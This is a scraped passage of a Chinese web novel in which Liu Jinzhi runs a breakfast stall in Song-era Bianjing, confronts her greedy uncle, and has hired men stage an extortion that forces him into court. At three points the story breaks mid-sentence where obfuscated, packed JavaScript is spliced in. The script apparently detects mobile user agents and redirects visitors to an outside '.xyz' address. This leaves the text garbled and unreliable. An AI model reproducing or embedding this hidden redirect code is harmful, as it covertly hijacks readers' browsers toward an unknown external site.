有不甚讲究的武将，都顾不得礼数，急急忙冲到一个食摊面前，掏出银子就道：“来三大碗汤饼！” 汤饼就是面。 一口气要三大碗，可见这人要被饿急了眼。 但周围食贩对此见怪不怪，反而打趣着笑道：“卖汤饼的，快些做，当心王将军饿极了晕死在你摊上，到那时可分说不清楚。” 众人一同哄笑。 把个王将军急的大声反驳：“这事儿都过去几年了，你们怎么还笑我？要是叫你们一大清早也饿他个半日，一连饿上十多年，我瞧你们晕不晕。” 众食贩又笑，但都捧了自家兜售的朝食过去请王将军享用，王将军也不与他们生气，一一结过银钱，便埋头大快朵颐。 柳金枝略微疑惑。 当年柳家父母还在时，曾供柳霄念过几年圣贤书，因而柳霄在一旁解释道：“汴京城的高官们都得赶在五更之前去上朝，到辰时方才能散。” 五更是凌晨三点至五点，而辰时是上午七点到九点。 这么一算，宋朝官员每个人得饿着肚子，在皇宫里头像根棍子一样杵最多六个小时！ 这要是遇上些血糖不高的官员，几天下来，不知要在皇宫里晕几回。 难怪这群人出来就一副面如菜色的模样。 都是活生生饿出来的。 不过此时就显出将食摊开在御街上的好处了，除却行人以外，这群官员就是最好的客户。 宋朝重文，每个文臣都有丰厚的俸禄。 所以这群人不仅有权，还很有钱！ 柳金枝与柳霄对视一眼。 她清了清嗓子，深吸一口气：“卖朝食咯！卖朝食咯！新鲜上好的馉饳！馄饨！拨鱼儿！现场下，现场煮！” 女儿家的声音又清亮又甜美，像是一汪清冽甘美的山泉泼进来，顿时吸引了不少官员的视线。 一部分稍微年轻些的官员不由调转脚步，笑道：“哪儿来的一个新食摊？咱们且去尝尝。” 近前一看，却见食摊上虽然摆放着的都是些寻常饮食，旁边诸多食客吃的却津津有味，时而还有人赞叹： “当真美味！” “柳娘子，再来一碗！” “我也再要一碗！” …… 官员们颇为稀奇。 当真有这么好吃？莫不是这位年轻娘子为了在汴京城站稳脚跟，刻意请来了几个托儿吧？ 几人对视一眼。 其中一位面白的清秀青年笑道：“柳……娘子？那些食客要多加一碗的是什么吃食？” 柳金枝对着几人福身，温声道：“回禀几位大人，是馉饳。” “有什么馅儿？” “白菜猪肉馅儿和野山蕈冬笋馅儿。”柳金枝眉眼带笑，清丽姿色晃得人目眩神摇，“不知几位大人喜欢什么馅儿的？” 面对美人洗手作羹汤，饭食好不好吃已经没什么要紧的了。 那青年便笑道：“那就野山蕈冬笋馅儿的，我们这五人一人一碗。” 手腕一翻，拿出一锭一两银子放在摊前。 柳金枝微笑：“是。” 于是利落挑拣了六十个馉饳赶入高汤之中，又请五人在旁边落座。 煮了约莫小一刻钟，几十个馉饳在汤中沉沉浮浮。 一看表皮已经略略发白，就知是熟了。 赶忙用笊篱捞起来，反扣入碗中，再放入葱姜蒜并老抽、酱油等调味，最后浇上一勺浓浓的高汤，热气滚滚冲天，香味儿扑鼻。 等到端上桌时，几人都有些新奇。 “居然这样香。”年轻官员拿起竹箸，“我先来试试。” 夹了一个馉饳咬了一口，眉毛便忍不住一挑。 他人见此，不由笑道：“怎的这幅表情？当真好吃？” 于是纷纷动箸。 没想到这一吃，便停不下来。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458086|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 这馅儿虽素，却格外鲜香美味。野山蕈鲜滑爽口，冬笋也清脆鲜香，这擀出来的面皮更是软滑弹牙，劲道的很！ 直到把汤底都呼噜呼噜喝完，几人才回过神来。 还以为美人下厨足够赏心悦目也就罢了，没想到这吃食着实好吃。 几人对视一眼，不由为方才的轻视颇为羞愧。便都站起来与柳金枝叉手行了一拜，又多买了好些面点，这才去了。 又卖了约莫两刻，官员们也散的差不多了。 此时却有位锦帽貂裘的俊美大官人，骑着俊俏白马款款过来，身后跟着两三仆从，各自肩上都挑着货物，似是要去哪家送礼。 男人本是目不斜视，但路过柳氏食摊的时候，余光瞥见柳金枝锅中高汤熬的实在醇香浓厚，就停下马来，吩咐身边奴仆去买了碗馄饨。 正好馄饨只剩最后十六个，柳金枝干脆就一块儿煮了递与他，笑道：“多的算奴送的，不多收您的银子，算是给官人您取个六数，愿您六六大顺，心想事成，得贵人垂青。” 柳金枝肚子里多的是吉祥话，又耳聪目明，常挑人希冀之处加以恭祝，所以人缘很好，遇到难处时也有贵人愿意伸手帮一帮她。 果然，柳金枝这话正中男人下怀，便居高临下地瞥了柳金枝一眼，见柳金枝居然还是名容貌清丽的年轻娘子，不免勾唇一笑，声音低沉富有磁性： “那便承娘子吉言。” 言罢又随手掷出一件黑影，柳金枝下意识伸手去接，却不偏不倚，正落在她手心。 打开一看，却正是一两碎银。 男人轻笑道：“娘子嘴甜，这是赏钱。” 尔后叱一声夹紧马腹，信步而去。 “赏钱便有一两，这也太大方了。” 有个外乡食客不由惊叹。 “你不知，那可是潘大官人！”本地食客不屑，“他家中经营许多铺面生意，田宅千亩，奴仆成群。平日里便是挥金如土，赏钱给一两又如何？” 另有食客道：“但这般殷实家底，潘家却至今缺一位主母，全是因为潘大官人一心奉养寡母。如今寡母害病，他现下正打点礼品要亲自去请御医瞧病，也不知能不能请到。” 原来不仅是个富户，还是位孝子，难怪听了她的话便打赏一两银子。 柳金枝看了看手中银子，转手抛给柳霄：“收起来，算是今日进账。” 柳霄也面露微笑，高兴地把银子收了起来。 由于柳金枝成本和人力都有限，所以做的东西不多，还没到午时，就陆陆续续卖的差不多了。 生意比想象中的火爆，算是一个开门红。 月牙迫不及待想要清点今日赚了多少钱，于是一家三口做贼似地窝进食摊里头，围坐在一起，扒拉着手中的铜板一个个数。 一文、两文、三文…… 柳霄拨弄着算盘，最后缓缓停下手，低声道：“如若不算那位官人给的赏钱，今天仅靠我们自己，就挣了四百五十文！” 竟然有四百五十文！ 月牙眼睛都瞪大了，嘴巴咧的大大的，难掩激动地扯着柳金枝的袖子：“阿姐！我们挣钱了！我们挣钱了！” 柳金枝也很高兴。 可是柳霄并不怎么激动，而是又拨弄起算盘，扣去了两个数，道：“我们虽然赚得多，但还没扣去成本。算上面钱、炭火钱、调料钱……咱们今天一上午所赚不过一百九十六文。” 平常市民一天净赚是百文左右，他们赚得一百九十六文已经算是不错了。 可是柳金枝的目标不仅仅只有赚得糊口钱。 她想要做夜市，想要将来有自己的铺面开饭馆，甚至于还想开座像樊楼一样的酒楼。 当然，万事开难头，她现在只有一个小小的食摊。 而想把这个小食摊做大做强，她还得重新装修摊子，买更多的桌椅，买好菜，买好肉，请专人帮忙…… 净成本必须得攒下五两银子才行！ 如果只靠他们自己挣的，却不知要猴年马月才能攒够十两。 唉。 柳金枝叹了口气，幽幽地想：要是现在能有一大笔钱送上门就好了。 正思钱若渴时，耳边却传来中年妇人一声不可思议的惊呼：“你、你是金枝？！” 13. 黑心娘舅 柳金枝回眸一看，只见对面站着个妇人，约莫四十五岁光景，相貌平平，却打扮的花枝招展，用粉将一张脸揩的死人一样白，却越发衬出她眼尾细纹。 这人哪怕是化成灰了，柳金枝也不会忘了她。 “我当是谁呢。”柳金枝冷笑一声，“原来是舅母啊。” 邓章氏顶着柳金枝冷冽的眼神，又见柳霄、月牙竟然都围簇在她身边，不由讪笑道： “金枝啊，我和你舅舅可是把你当亲侄女对待的，你怎么回汴京都不与我们写一封书信？也好叫我们预备着给你接风洗尘。” “哦？舅舅与舅妈确实是要给我接风洗尘？而不是将我弟妹连夜送走，好叫我无法知道舅舅与舅妈这些年，是如何对待他们的？！” 柳金枝冷笑，将“如何对待”这四个字咬的极重。 柳霄和月牙也一同围上来，冷冰冰地看着邓章氏。 邓章氏更为心虚，结结巴巴道：“我、我和你舅舅待霄哥儿、月姐儿算不错了！你、你非要这么空口白牙污蔑人，我也分说不清楚！待你舅舅来亲自与你说吧！” 尔后就想走。 柳金枝直接上前两步将人拦住，语气含笑：“舅妈，您去告诉舅舅一声也好，毕竟有些账咱们确实要算了。今日未时，我亲携弟妹上门拜访。” 言罢，这才将邓章氏放走。 柳霄皱着眉，走上前拉住柳金枝的衣袖：“阿姐，你当真要亲自去邓家？” 柳金枝道：“当然，总不能白叫你们吃了这些年的苦头。再者说，阿爹阿娘留给我们的家财还在他们手中，咱们也必须拿回来。” 柳霄抿了抿唇，道： “我和月牙在邓家待了这么多年，对他们夫妇二人也有所了解。舅母是个后宅妇人，虽贪财，但蠢笨，所以我和月牙也不怕她。但是舅舅……” 他停顿片刻，才道： “是个心黑手狠的捣子，又认识许多人。在你没回来前，我和月牙就想过去告官，让舅舅把遗产吐出来。没想到叫他盯上，不仅派人追打我们，还叫我们进不了府衙一步，还抢了我费心存下的银钱。” 柳金枝脸色猛然一黑。 难怪呢！ 柳霄看起来也不像是个没主意的孩子，怎么可能任由自己和月牙流落街头，甚至到了偷吃包子被抓入军巡捕的地步。 原来是想过反抗，却被这个黑心的贼娘舅给硬生生打了回来！ 好啊好啊，当真是眼瞧着她不在，就把她弟妹两个当猪狗般欺负。 柳金枝气的两颊泛红，问柳霄道：“你和月牙受了这么多欺负，为什么不在我回来后全部告诉我？” 柳霄沉默了下，眼眸漆黑若深潭，道：“因为我不想再失去这个家。” 柳金枝看着柳霄，柳霄却避开了她的目光，低声说道： “无论阿姐你说我自私也好，骂我怯懦也罢。可我和月牙好不容易能有一个稳定的家，我不能再眼睁睁看着你去撞南墙，把这个家又撞散。” 他说着，蹲下来拉住月牙的小手。 因为冬日里手也浸在冷水中洗了半日的盘子，月牙双手发红，指尖还有着细小伤痕。 但是从头到尾，月牙都没有叫过一声辛苦。 “阿姐，虽然我们现在的日子过得也不算轻松，但我和月牙都觉得已经够了，至少比我们以前待在邓家，不知何时才能吃上一顿饱饭的日子有盼头多了。” “所以，你不要去邓家了讨要说法了，咱们就先经营好自己的小家，好吗？” 柳金枝看着少年眸子里诚恳的神色，知道他说的话皆是出自肺腑。 长久孤独流浪的孩子，一旦拥有了家，就会拼尽全力去维护它。 更何况本来就将家视作性命的柳霄？ 柳金枝理解，也心疼柳霄和月牙。 她弯下腰，分别揉了揉柳霄和月牙的发丝，轻声安慰道：“阿姐不怪你懦弱，我能知道你是为了这个家好，也是为了我好。” 柳霄一怔，忍不住抬起头来看柳金枝。 逆着天光云影，柳金枝眉眼清丽，像是一幅艳山暖水的画，可她眸子里的温柔才最叫人移不开眼。 “阿姐，你同意不去邓家了？”柳霄忍不住问。 “不，我还是要去。”柳金枝认真道：“因为你不知道，愿意各退一步的人是君子，但小人只会欺软怕硬。你越不肯与他硬碰硬，他就会越来欺负你。” 柳霄眸光闪动。 “与其坐以待毙，不如主动出击。”柳金枝对柳霄伸出手，“你若肯信我，那就与我站在一起，咱们一家三口齐心协力，去邓家讨这笔债！” 柳霄的视线落在柳金枝的手掌上，眼眶微红，道：“……如果你非要去这一趟，那我就跟着你。” 他没握住柳金枝的手，而是一个人抱着月牙默默站起来。 “但是月牙不能跟着我们一起去，就把她寄放在黄婶子家吧。” 柳金枝道：“你是怕我这一去会出意外，所以才想跟着我？” 柳霄顿了下，但没说话，只是转过头将月牙放在驴车上，然后一个人扛着擦拭干净的两套桌椅还去了蔡氏饭馆。 看着柳霄消瘦倔强的背影，柳金枝摇摇头，走过去摸摸月牙的脑袋：“他哪里都好，就是太倔了，对不对？” “但是哥哥会保护我们。”月牙抱住柳金枝的胳膊，小脸压出肉肉的弧度，“因为哥哥比谁都爱我们，所以你们两个一定不要吵架。” “当然不会，因为阿姐也比谁都爱你们。” 柳金枝温柔地说。 她得让柳霄彻底明白，现在已经不是六年前了。 他和月牙不再是没有人撑腰的孩子。 等柳金枝一家三口收拾好东西回到采莲胡同时，已经过了午时。 胡乱吃了些早上做的朝食果腹，柳金枝就抓了一把子铜子外出了一趟，等到临近未时才回来。 柳霄已经套好驴车在采莲胡同等着了。 虽然柳霄对柳金枝消失这段时间去了哪儿有些疑惑，可柳金枝没主动说，他也就没问，只一路沉默驾着驴车到了城南。 邓家是做药材生意的，但一路传到邓家舅舅，邓山，这一代已经逐渐没落。 再加上邓山又是个鸡鸣狗盗之徒，拜高踩低之辈。对穷苦百姓，他就用假药来滥竽充数。对富户豪绅，就拣上好的药材上供。 所以近年常在各路达官贵人的门首走动，也识得了许多不三不四的捣子，帮他做些龌龊勾当。 不知有多少穷人吃他家的药毫无疗效后，气愤到要去报官，结果被几大拳打将回来的。 邻里街坊哪个不对邓山咬牙切齿？却又只能打碎牙往肚子里咽。 这种人不能以常规手法对付，只能另辟蹊径。 柳金枝想着，驴车已经载着她一路从新曹门到了城南。 她少年离家，对邓氏药材铺地址的记忆早已模糊，但柳霄记忆深刻，一路驾着驴车过了南熏门里大街，直奔宣泰桥而去，而桥旁的“邓氏药材铺”旗招子已经若隐若现。 柳霄当真对邓家满怀恨意，只是瞧见个旗招子，都忍不住绷紧了背脊，脸色阴沉。 柳金枝拍拍他的肩膀，道：“放松些，有我在。” 柳霄回头瞧了她一眼，这才勉强让自己冷静下来，勒停驴车。 柳金枝下车以后没有丝毫停留，径直走向邓氏药材铺的门口。 甫一进门，柳金枝就瞧见柜台前的躺椅里坐着个瘦如竹竿的中年男人，蓄着山羊须，一双吊梢三角眼，眼睛滴溜溜一转，透露着十分的精明和刻薄。 男人还不知道柳金枝进门来，正翘着二郎腿翻看账簿，手里抓了一把瓜子儿，一边嗑，一边拉长了音调喊：“富贵儿，给老爷我沏壶茶来。” 柳金枝按住柳霄要叫人的架势，自个儿酝酿了一下，大叫一声：“娘舅！我的命好苦啊！” 这一声仿佛在邓山耳边丢了个炸雷，吓得他手一抖，瓜子和账簿全掉了一地，险些摔在地上。 惊惶抬头一看，方才瞧见柳金枝，当下脸色来回变换，青青紫紫，最后又转为黑，冷笑着拍拍手站起来，道： “好侄女儿，你倒是一言既出驷马难追，说登门还真登门。” 看来邓章氏已经把柳金枝的话带到了。 柳金枝做作地抖开一条帕子，在自己脸上擦来擦去，凄声惨气地哭道： “再不登门，侄女我可就活不下去啦！娘舅啊，当年我父母双亡，我与一双弟妹又年幼，便把遗产托付给你看管。” “再加上我家老屋这些年的租金，和我卖身为奴的银子，也都给了你，就是劳烦你帮我照顾两个年幼的孩子。” “结果我弟妹两个流落街 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458087|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 头，食不果腹，衣不蔽体！我那小妹妹瘦成了皮包骨，我这个弟弟也是底子虚弱，咳嗽不断。” 柳金枝拉过柳霄，使劲儿一拍他的后背。 柳霄会意，赶紧撕心裂肺地咳了起来。 “娘舅！您可是我亲娘舅！怎的能这般对我呢？我那死去的爹娘可还在天上看着你呢！” 柳金枝张口就是卖惨，根本没有给邓山反应的时间。 等邓山气愤地跳起来破口大骂时，药材铺以及铺子外头的百姓都围上来瞧热闹。 邓章氏以及伙计富贵也被这动静惊动，全都从后院转了出来。 “贼歪刺骨！我养你弟妹到大，你如何空口白牙来拉扯我的不是？！” 邓山把个胸脯拍的响亮： “我邓山为人邻里街坊没有不知道的，那是出了名的光明磊落！” 此话一出，围观百姓皆是哄笑。 饶是邓山厚脸皮，此时也不自在，唤了富贵拿着扫帚去门首赶人。 “去去去！家务事，谁准你们在这儿瞧热闹？！”富贵大扫帚乱挥。 几个在铺子里买药的客人也被赶了出去。 众人被挨打，但又不肯放过看邓山笑话的机会，就远远凑在街对面的铺子里看。 邓山恨得牙痒痒，骂道：“你这贼猪狗，此前你舅母上御街采买布匹，你倒给拦住了好一通威胁！现下又来侮辱我了。你说说，你究竟要如何？” 柳金枝哭哭啼啼，道：“我只是一介弱女子，能待如何？只不过期望娘舅你把我阿爹阿娘的遗产还回来罢了。” “呸！按照大宋律法，我妹子和妹夫死了，他家的遗产合该归我管。我瞧你是在外头勾搭了什么不三不四的野男人，就想从我手里捣鼓走遗产，好自己享用吧？” 邓山冷笑。 柳霄顿时怒火中烧，怒喝道：“你嘴巴里在喷什么粪？！” “怎的？刺中你的痛处了？”邓山不屑一笑。 “你——！” 柳霄撸袖子就要上去拼命，却反叫柳金枝拦下。 柳金枝假意擦着眼泪，道：“娘舅说的不假，但娘舅扪心自问，你拿着我父母财产，可有一分一毫花在我弟妹身上？” “您瞧舅母身上穿的是绫罗绸缎，头上戴的珠花金簪。您这件直裰恐怕还是杭州湖边的丝绸裁剪的，便可见一斑。” 邓章氏心虚地往后缩了缩，但邓山气急败坏，抬手就想打人。 可柳金枝抢在他之前陡然提高音量，道：“娘舅怕是还不知道，《名公书判清明集》中曾记载了一件“叔父谋吞幼侄财产”案。” “因幼侄儿年幼时痛失双亲，不得不由叔父代为监护。结果叔父贪婪自私，不仅未尽监护之责，反倒霸占了侄儿家财。” “官府发现后，严惩其叔父，仗责四十，直打的人下半身血淋淋的。” “娘舅，您说若官府知道你这般虐待亲侄，抢夺遗产，会不会也对娘舅动这样的刑罚？” 一番话说的邓山脸色是变了又变。 但他可是在汴京城里混迹了多年的捣子，倒不至于被柳金枝一句“告官”就给吓唬了去。 “好侄女，我算是听出来了，你这是想要以下告上，闹到官府去。”邓山嗤笑一声，压低了声音威胁，“但侄女莫不是忘了我大宋律法早有规定，以下告上，需先行承担责仗三十。就你这身子骨，经得起打吗？” 邓山将柳金枝当作十六岁少女吓唬，可不知柳金枝来自现代，其眼界学识非常人可比。长眉一挑，将这话怼了回去： “娘舅，我就与您说一句实话。这回我从秦淮回来，就没打算再离开。但家中贫穷，生活难以为继，就快饿死了。现下为了银子，就算叫我再挨三十板子也甘愿。” 今日为了卖朝食方便，柳金枝和柳霄都穿的十分朴素。 特别是柳金枝，她本就没什么傍身银钱。 所以身上穿的是洗得发白的粗布麻衣，一头青丝只用一根素木簪子固定，再加上她清瘦的身段，很难不让人相信她是因为走投无路，而不得已与邓山拼死一搏。 “再说了，侄女年轻，挨一顿板子死不了，养养就回来了。”柳金枝擦去腮边两滴清泪，故意走近两步对着邓山勾唇一笑，眉眼满是挑衅和算计。 “只是娘舅，我记得您今年也三十有九了，可还经得起这般折腾？” 14. 闹去官府 邓山在横行霸道多年，就没被人这样对待过。 他气得脸都绿了，把拳头纂得吱嘎响，恶狠狠道：“你想报官？想得美！我让你这辈子都走不到衙门口！” 话音落下，门口砰一声。 柳金枝与柳霄猛然回头。 居然是富贵不知什么时候绕到了大门口，将门给关上了，手里还拿着根棍棒，紧盯着柳金枝的腿。 看来这厮是仗着背后有人，想要来硬的！ 柳霄反应过来，直接抢过柜台上药材秤，横身保护在了柳金枝身前，像个小豹子一样绷紧了浑身肌肉。 “你敢动我阿姐一下试试！” 邓山却嚣张道：“富贵，给我打！只当他们是光天化日之下，闯入我药材铺偷盗的贼人，届时到了官府，自有我为你分说！再与你十两雪花银！” 一听说有银子，富贵顿时眼前一亮，二话不说就朝柳金枝扑去。 柳霄大叫一声，拼命朝前一撞，用双臂死死抱住富贵腰身，口中大喊：“阿姐快跑！快跑！” 富贵满眼不耐，正要揪住柳霄衣带，将人狠狠砸出去的时候，药材铺的大门忽然被人撞了一下。 起先还没人在意，邓山只顾着叫富贵打折柳金枝的腿。 但大门的撞击声越来越大，整个大门摇摇欲坠，被猛地一下撞开，门板倒在地上激起一片灰尘。 邓山和邓章氏都吓了一跳，抬头一看，只见门口不知何时居然站了三个黑黢黢的彪形大汉，一个个长得跟移动小山似的，往哪儿一站，顿时就将门口堵了个水泄不通。 富贵与他们相比，就好似猛虎比野狗，气势上顿时就输了一截。 更遑论其中有个汉子恼富贵挡了他的道，当下一脚踹中富贵小腿，直把个人踹翻在地，抱着腿爹啊娘啊的嚎哭个不停。 趁此机会，柳金枝赶忙带着柳霄躲到一边静观其变。 邓山也免不得吞了一口唾沫，叉手一拜，道：“不知三位好汉是哪方人士？怎得今日莅临寒舍？” 为首的一个络腮胡粗声粗气道：“邓二哥是爽快人，直接就问了俺们来历，那俺们也不睡里梦里，直说了罢。” “前些日子俺在你这间药材铺里买了味假药，找你来理论时，你只说是没银子，又哭的可怜，俺们也就宽限了你些时日。” “但现下俺们看你威风的很，不似个可怜虫，便要上门讨银子来。” 邓山听了，把眼睛都吓得瞪大了：“你们在胡说什么？我何曾欠过你们银子？” “邓二哥，你这话就不对了，你没欠俺们银子，那俺们又为何要向你讨银子？自古说苍蝇不钻那没缝的蛋，你可休要抵赖。”络腮胡道。 柳霄听得眉心一跳，看向柳金枝道：“阿姐，这……” 柳金枝按住他的嘴，笑道：“别说话，先把这出戏看完。” 这邓山常常叫贫困百姓吃哑巴亏，现下到他吃亏，简直就冤得无处诉苦，拍着手道：“我都不知你们三人姓甚名谁，素不相识，你们怎得就要找我来讨银子？这一定是认错了！” “欸，邓二哥，自古以来于官不贫，赖债不富。你连本带利欠了我们五十两银子的药材钱，怎就耍赖不给呢？你可别忘了，当时你这味假药，可是险些害死我鲁家嫂子。” “是啊，若不是我几个劝着我鲁兄弟，他就是拿把刀子杀了你，白刀子进红刀子，也是使得的。你怎得转脸就不认了这恩情？” 瞧这络腮胡说的有理有据，把个邓山急得额头冒汗，道：“我哪里借了你们的银子？就算真的借了，也该有文书保人。现在无凭无据，你们便要讹我五十两银子？世上哪有这样的道理？！” “你要文书？我这有，与你瞧瞧。” 络腮胡从袖子里取出文书，在邓山面前晃了一晃。 邓山一瞧上头写的年月日全然对不上，眼见着是弄虚作假，当下脸被气的蜡黄，怒喝道：“贼他娘的杀千刀，你们是哪里来的捣子？走来我门首讹诈我？！” 却不想络腮胡比他更恼火，上前就是一拳，正中邓山面门，打得鼻子都恨不得歪到一边，整个人朝后一飞，撞在货架上，扫落了一地的药材。 眼见邓山吃了瘪，那些个被富贵赶走的百姓又纷纷围过来瞧热闹，讥笑不已。 邓山只觉得自个儿的鼻子软成了一根热面条，险些要从自己脸上流下来。再一摸，好家伙，满手的鼻血！ 真是气得他七窍冒烟，恨不得五脏六腑都挪了位，捏着鼻子大骂道：“好个贼捣子！我倒要叫你们好看！”又奋力挣扎起来，“富贵，还不快过来帮忙！” 可是富贵被这络腮胡一脚踢翻，此时还在地上窝爬着哭爹喊娘，哪里还敢再上？ 邓山这回是落了个孤立无援的下场。 三汉子中的一人道：“罢了，大哥，咱也别给邓二哥太难堪。当年都肯宽限他些时日，现下也再宽宥一二。只要他肯把五十两药材钱还上，咱们就别动手了。” 邓山又气又怕，又不敢再骂，只恨恨道：“我哪里有借你们银两？就是有借，你们也该与我好讲，怎得这般撒野？！” 闻言，络腮胡好笑道：“邓二哥，你若早这般承认欠了我们药材钱，也不用挨我这一拳了。你说说，这一拳岂不是你自找的？” 从未听过这般颠倒黑白之事！ 邓山顿时气得理智全无，手都在发抖，破音了一般吼：“□□你祖宗的！我要报官！我要报官！” “瞧这邓二哥，似吃了酒一般，又说起胡话来了，让兄弟我来替你醒醒酒。” 络腮胡笑吟吟的，大步流星走上前提起邓山，直从货架前提溜到了铺子门口，手上不提防又是一拳。 打得邓山一声惨叫，仰八叉跌了一跤，直摔出街面去，险些跌进洋沟里，却将帽子掉了，发散开了，连巾帻都叫沟水污了，狼狈的不成样子。 可是邓山人缘坏，周围连一个帮他说话的人都没有，大家都笑嘻嘻的，有的甚至还在喝彩： “壮士，再来一拳！” “打得好！” 吵闹成这般情形，终于招来了地方保甲。 保甲见邓山心头恨极，一味嚷嚷着“青天白日里冤枉人，我要见官！”之类的话，便取出一条绳儿来，将邓山与那三条汉子一并栓了，要押他们去官府。 又见柳金枝和柳霄还有富贵也都在郑氏药材铺子里，应是人证，因此不问三七二十一，也作一条绳儿捆了，一并带去官府。 而邓山呆愣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15458088|169610||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 愣瞧着保甲的动作，被气飞了的理智终于逐渐回笼。 他喘着气，一面看了看自己手上拴着的绳儿，一面又抬头瞧瞧面前笑容灿烂如花的柳金枝，顿时大惊失色，惨叫“完啦！”，仰头便昏死过去。 柳霄在寄人篱下多年，常受邓山刻薄苛待，见惯了邓山呼风唤雨的样子，还从未见过邓山如此狼狈，此时又畅快又高兴。 “阿姐。”柳霄难掩兴奋语气，第一次像个少年，“这事是不是和你有关系？” 柳金枝狡黠一笑，低声道：“邓山在宣泰桥作威作福多年不假，但你可别忘记汴京城第一帮闲是谁。” “是应天爵！” 不可否认，邓山的人脉遍布三教九流，但与应天爵相比，还是显得不够看。 柳金枝就是意识到这一点，中午就取了银钱去见了应天爵一面，许诺他事成之后，不仅亲自下厨备一桌好酒席款待，更会将遗产分他两成，这才成功求到援助。 这三个汉子，正是应天爵找来的兄弟。 这三人少年时就混迹于市井，比起常窝在宣泰桥一角耍威风的邓山，要有手段的多。 今日他们给邓山下的这个套虽是常见的讹诈，却也是他们最拿手的把戏。 次次用，次次灵。 连官府都抓不到他们什么把柄。 更何况这次还有应天爵为他们在背后打点，更不用怕什么了。 邓山不是想用强硬手段把“侵吞亲侄财产一案”强行压下来吗？那她就顺水推舟，让这三兄弟把事情闹大，逼得邓山自己去报官！ 除非邓山甘愿认下这五十两银子的哑巴亏，再白白挨几个拳头。 所以被保甲捆上绳子的时候，柳金枝坦然极了，甚至巴不得再快些到官府去见官。 但她大病初愈不久，小脸儿苍白，却又姿容清丽，方才和邓山对峙时，又哭梨花带雨，好不可怜，现下跟几个草莽大汉拴在一处，不免惹人怜悯： “这位娘子也是可怜，怎生就摊上邓山这么个黑心娘舅。” “是啊，吞了她爹娘的遗产，又虐待她两个弟妹，若不是今日有人来寻麻烦，怕是难挨。” …… 人群后头，有两道人影从五岳观里绕出来。 走在后头的是一白胖小童，睁着一双圆溜溜杏眼，手搭凉台瞭望道： “二郎，你瞧，前头挤了好些人，也不知发生什么事了。” 傅霁景略微抬起头来简单看了前头一眼。 寒风吹起他身上宽大的藏青色袍子，猎猎作响，却又有几分说不出的魏晋风流。 “杏安，莫要瞧热闹了。”傅霁景重新敛下眉眼，声音温和沉静，“先回家将何方真人的墨宝交给父亲方为正事。” 杏安颇为失望地又踮脚看了下，却见前方人群也渐渐要散了，百姓们零零散散走开，只剩嘴里还在议论： “若柳娘子到了公堂之上，还被邓山刁难，我倒愿意去作证。当年柳霄还住在宣泰桥的时候，我可没少见邓山拿竹条抽打那孩子。” “只是邓山终究是柳娘子的娘舅，若是以下告上，这三十板子是逃不掉了。” “可惜了柳娘子如花一般的美人。” 傅霁景脚下一顿。 15. 拿回遗产 待柳金枝一行人被保甲带至应天府公堂下跪，两排衙役一齐大力敲打水火棍，齐呼：“威武——” 坐于明镜高悬四字匾额下的提刑官着一身藏青，眉心有道川字眉，虎目炯炯有神，更显不怒自威，沉声道： “堂下所跪之人，哪个是苦主？” 邓山后悔不迭，却又不敢承认，直到被那保甲踢了一脚，才颤巍巍应道：“草、草民就是。” “你要状告何人？” “草民……” 邓山满头冷汗，却支支吾吾说不出个道理来。 就在这时，忽有一声越过他，掷地有声道：“娘舅他要状告这三位壮汉讹诈。” 邓山一愣，惊异地看向柳金枝，似是不理解为何柳金枝不帮着这三人。 然而还未等他把事情想明白，那三个汉子就大声叫起冤屈来，一口咬死了是邓山卖假药，欠了他们五十两银子。 提刑皱起眉头，敲响惊堂木：“肃静！你们既然状告邓山欠你们银两，可有保人文书？” 邓山本以为这三人要将那份伪造的文书拿出来，谁知这三人居然摇头，苦笑道：“回老爷，我们没有。” 话音落下，邓山只觉得背脊发毛。 这三人才没那么好心，不知是在哪里等着他？ 果然，下一刻，络腮胡便道：“这邓山精明，我要签文书，他却一直推脱不肯，因而草民没有证据。可是草民不曾说话，邓山当真作奸犯科，以次充好，卖假药骗人。大人若是不信，大可以去宣泰桥找街坊邻居作证。” 按照大宋律法，贩卖假药这事儿一旦被坐实，那就是流放的刑罚！ 邓山这才明白这三人打得是什么主意，不由得遍体生寒，直发起抖来，只有脑子还保持一点清明，只觉得整件事不对。 他与这三人无冤无仇，怎得就要来坑杀他？ 忽然，一点灵光从脑子里闪过，邓山瞪直了眼睛看向柳金枝。 而柳金枝侧眸瞧他，却是微微一笑。 “是你！”邓山恨不得扼杀柳金枝，面容扭曲地怒吼，“是你害我！就为了四千贯，你居然害你亲娘舅！” “肃静！不得扰乱公堂！” 提刑再拍惊堂木。 左右立即上前按住邓山的肩膀，啪啪左右开弓抽了他两个嘴巴，直把人打的天旋地转，再不敢高声，只用一双眼睛恨恨地瞪向柳金枝。 